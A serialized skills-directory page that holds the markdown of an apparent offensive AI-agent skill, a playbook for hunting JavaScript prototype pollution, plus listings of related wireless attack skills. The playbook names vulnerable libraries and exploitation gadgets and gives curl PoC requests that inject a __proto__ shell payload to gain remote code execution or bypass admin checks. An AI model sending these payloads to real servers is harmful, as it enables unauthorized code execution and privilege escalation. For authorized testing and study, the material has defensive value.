[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797TDF9J5VJXQA0QYWZR474":3,"skill-same:01M797TDF9J5VJXQA0QYWZR474":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":30,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M797TDF9J5VJXQA0QYWZR474","prototype-pollution",null,"Hunt JavaScript prototype pollution (CWE-1321) — the 2023-2026 meta-vulnerability that chains into RCE, auth bypass, and SSRF on most Node.js stacks.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fprototype-pollution\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: prototype-pollution\ndescription: Hunt JavaScript prototype pollution (CWE-1321) — the 2023-2026 meta-vulnerability that chains into RCE, auth bypass, and SSRF on most Node.js stacks.\nmetadata:\n  subdomain: web-exploitation\n  when_to_use: \"javascript prototype pollution cwe-1321 node js __proto__ constructor chain rce auth bypass ssrf gadget\"\n---\n\n# Prototype Pollution Playbook\n\nPrototype pollution is the JavaScript equivalent of a universal gadget:\nplant a property on `Object.prototype` and it appears on every object in\nthe runtime. Worthless in isolation, deadly in chain (`__proto__.isAdmin\n= true` → auth bypass; `__proto__.shell = \"\u002Fbin\u002Fbash\"` → RCE via `spawn`).\n\n## 1. Sinks — the libraries that still introduce sinks\n\nKeep a running list per engagement. These continue to ship sinks in 2026:\n\n- **Deep-merge:** `lodash.merge`, `deepmerge` (pre-fix), `merge-deep`, `deepExtend`, `hoek.merge`, `mixme`\n- **Deep-clone:** `lodash.defaultsDeep`, `lodash.zipObjectDeep`, `set-value` (pre-3.0.3)\n- **URL-to-obj:** `qs`, `express-fileupload`, `jquery.extend(true, ...)`\n- **Config loaders:** `node-config` recursive merge, `dotenv-extended`, `rc`\n- **Template engines:** Handlebars helpers fed from untrusted ctx\n\n```bash\n# Every JS\u002FTS project: sweep known-bad versions\njq '.dependencies,.devDependencies | to_entries[] | select(.key | test(\"merge|lodash|set-value|dot-object|dot-prop|node-pg\"))' \u002Fworkspace\u002Fsrc\u002Fpackage.json\nnpm ls lodash set-value dot-prop 2>\u002Fdev\u002Fnull | grep -E '[0-9]'\n```\n\n## 2. Sources\n\nAny user input deserialized into a nested object:\n- JSON body parsers (`body-parser`, `express.json`)\n- Query string parsers (`qs` with default config parses `a[b][__proto__][c]=1`)\n- YAML uploads\n- Form-data \u002F multipart\n\n## 3. Audit workflow\n\n1. Find every deep merge call site.\n2. Trace each one backwards — is the right-hand object user-controlled?\n3. If yes: check the merge function's prototype-pollution fix version.\n4. Even if the merge is fixed, check whether a *copy* (lodash.set,\n   dot-path-value, jsonpath.set) creates a pollution path.\n\n## 4. Exploitation gadgets\n\nPoisoning `Object.prototype` doesn't do anything by itself — you need\na gadget that reads a property that didn't exist before.\n\nClassic gadgets:\n\n- **`child_process.spawn(cmd, args, opts)`** — opts has a `shell` option.\n  Poison `__proto__.shell = \"\u002Fbin\u002Fbash\"` then any subsequent spawn call\n  executes through bash and interprets args as shell strings.\n- **Express middleware** — most middlewares check `options.someFlag` with\n  `if (opts.someFlag)`. Poisoning that flag flips security defaults.\n- **Templating** — Handlebars and EJS read `helpers` and `partials` from\n  the context object; pollution adds helpers that execute code.\n- **`lodash.template`** — if the template source is built from `_.template(tpl, ctx)` you can inject via polluted `escape`\u002F`evaluate` keys.\n- **`mongoose`** — polluting `Schema.Types` causes subsequent schema\n  definitions to use attacker-controlled types.\n\n## 5. PoC template\n\n```bash\n# Classic lodash.merge RCE via child_process.spawn\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fbin\u002Fbash\", \"env\": {\"PATH\": \"\u002Ftmp:\u002Fusr\u002Fbin\"}}}'\n\n# Second request triggers the gadget\ncurl https:\u002F\u002Ftarget.com\u002Fapi\u002Frender-pdf\n# → any subsequent child_process.spawn call now runs through \u002Fbin\u002Fbash\n```\n\n## 6. Success signals for `validate_finding`\n\n- Server error with stack trace referencing `Object.prototype`\n- Output of injected command reflected in next response\n- Admin-only endpoint now returns 200 after poisoning `__proto__.isAdmin`\n\nNegative control: same payload with `proto` (no leading underscores) —\nshould have no effect. If it does, the endpoint is treating that key\nspecially and the finding is unrelated.\n\n## 7. Default CVSS\n\n| Variant                               | Vector                                       | Score |\n|---------------------------------------|----------------------------------------------|-------|\n| DoS (crash Node process)              | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H          | 7.5   |\n| Auth bypass via `isAdmin` pollution   | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:N          | 9.1   |\n| RCE via spawn gadget                  | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H          | 10.0  |\n\n## 8. Chain promotion\n\nPrototype pollution is almost always the *first* hop of a chain. After\nvalidation, add an `enables` edge from the pollution vuln to:\n- the spawn \u002F template gadget vuln (RCE chain)\n- the auth check vuln (privilege escalation chain)\n- the SSRF vuln if the downstream request lib has an options pollution\n  surface\n\nChain weight 0.4 — pollution is cheap once the merge sink is known.\n","# Prototype Pollution Playbook\n\nPrototype pollution is the JavaScript equivalent of a universal gadget:\nplant a property on `Object.prototype` and it appears on every object in\nthe runtime. Worthless in isolation, deadly in chain (`__proto__.isAdmin\n= true` → auth bypass; `__proto__.shell = \"\u002Fbin\u002Fbash\"` → RCE via `spawn`).\n\n## 1. Sinks — the libraries that still introduce sinks\n\nKeep a running list per engagement. These continue to ship sinks in 2026:\n\n- **Deep-merge:** `lodash.merge`, `deepmerge` (pre-fix), `merge-deep`, `deepExtend`, `hoek.merge`, `mixme`\n- **Deep-clone:** `lodash.defaultsDeep`, `lodash.zipObjectDeep`, `set-value` (pre-3.0.3)\n- **URL-to-obj:** `qs`, `express-fileupload`, `jquery.extend(true, ...)`\n- **Config loaders:** `node-config` recursive merge, `dotenv-extended`, `rc`\n- **Template engines:** Handlebars helpers fed from untrusted ctx\n\n```bash\n# Every JS\u002FTS project: sweep known-bad versions\njq '.dependencies,.devDependencies | to_entries[] | select(.key | test(\"merge|lodash|set-value|dot-object|dot-prop|node-pg\"))' \u002Fworkspace\u002Fsrc\u002Fpackage.json\nnpm ls lodash set-value dot-prop 2>\u002Fdev\u002Fnull | grep -E '[0-9]'\n```\n\n## 2. Sources\n\nAny user input deserialized into a nested object:\n- JSON body parsers (`body-parser`, `express.json`)\n- Query string parsers (`qs` with default config parses `a[b][__proto__][c]=1`)\n- YAML uploads\n- Form-data \u002F multipart\n\n## 3. Audit workflow\n\n1. Find every deep merge call site.\n2. Trace each one backwards — is the right-hand object user-controlled?\n3. If yes: check the merge function's prototype-pollution fix version.\n4. Even if the merge is fixed, check whether a *copy* (lodash.set,\n   dot-path-value, jsonpath.set) creates a pollution path.\n\n## 4. Exploitation gadgets\n\nPoisoning `Object.prototype` doesn't do anything by itself — you need\na gadget that reads a property that didn't exist before.\n\nClassic gadgets:\n\n- **`child_process.spawn(cmd, args, opts)`** — opts has a `shell` option.\n  Poison `__proto__.shell = \"\u002Fbin\u002Fbash\"` then any subsequent spawn call\n  executes through bash and interprets args as shell strings.\n- **Express middleware** — most middlewares check `options.someFlag` with\n  `if (opts.someFlag)`. Poisoning that flag flips security defaults.\n- **Templating** — Handlebars and EJS read `helpers` and `partials` from\n  the context object; pollution adds helpers that execute code.\n- **`lodash.template`** — if the template source is built from `_.template(tpl, ctx)` you can inject via polluted `escape`\u002F`evaluate` keys.\n- **`mongoose`** — polluting `Schema.Types` causes subsequent schema\n  definitions to use attacker-controlled types.\n\n## 5. PoC template\n\n```bash\n# Classic lodash.merge RCE via child_process.spawn\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fbin\u002Fbash\", \"env\": {\"PATH\": \"\u002Ftmp:\u002Fusr\u002Fbin\"}}}'\n\n# Second request triggers the gadget\ncurl https:\u002F\u002Ftarget.com\u002Fapi\u002Frender-pdf\n# → any subsequent child_process.spawn call now runs through \u002Fbin\u002Fbash\n```\n\n## 6. Success signals for `validate_finding`\n\n- Server error with stack trace referencing `Object.prototype`\n- Output of injected command reflected in next response\n- Admin-only endpoint now returns 200 after poisoning `__proto__.isAdmin`\n\nNegative control: same payload with `proto` (no leading underscores) —\nshould have no effect. If it does, the endpoint is treating that key\nspecially and the finding is unrelated.\n\n## 7. Default CVSS\n\n| Variant                               | Vector                                       | Score |\n|---------------------------------------|----------------------------------------------|-------|\n| DoS (crash Node process)              | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H          | 7.5   |\n| Auth bypass via `isAdmin` pollution   | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:N          | 9.1   |\n| RCE via spawn gadget                  | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H          | 10.0  |\n\n## 8. Chain promotion\n\nPrototype pollution is almost always the *first* hop of a chain. After\nvalidation, add an `enables` edge from the pollution vuln to:\n- the spawn \u002F template gadget vuln (RCE chain)\n- the auth check vuln (privilege escalation chain)\n- the SSRF vuln if the downstream request lib has an options pollution\n  surface\n\nChain weight 0.4 — pollution is cheap once the merge sink is known.\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26},"web-exploitation","javascript prototype pollution cwe-1321 node js __proto__ constructor chain rce auth bypass ssrf gadget","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fprototype-pollution",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill prototype-pollution",{"tool":40,"command":41},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill prototype-pollution",{"tool":43,"command":44},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill prototype-pollution","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fprototype-pollution\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]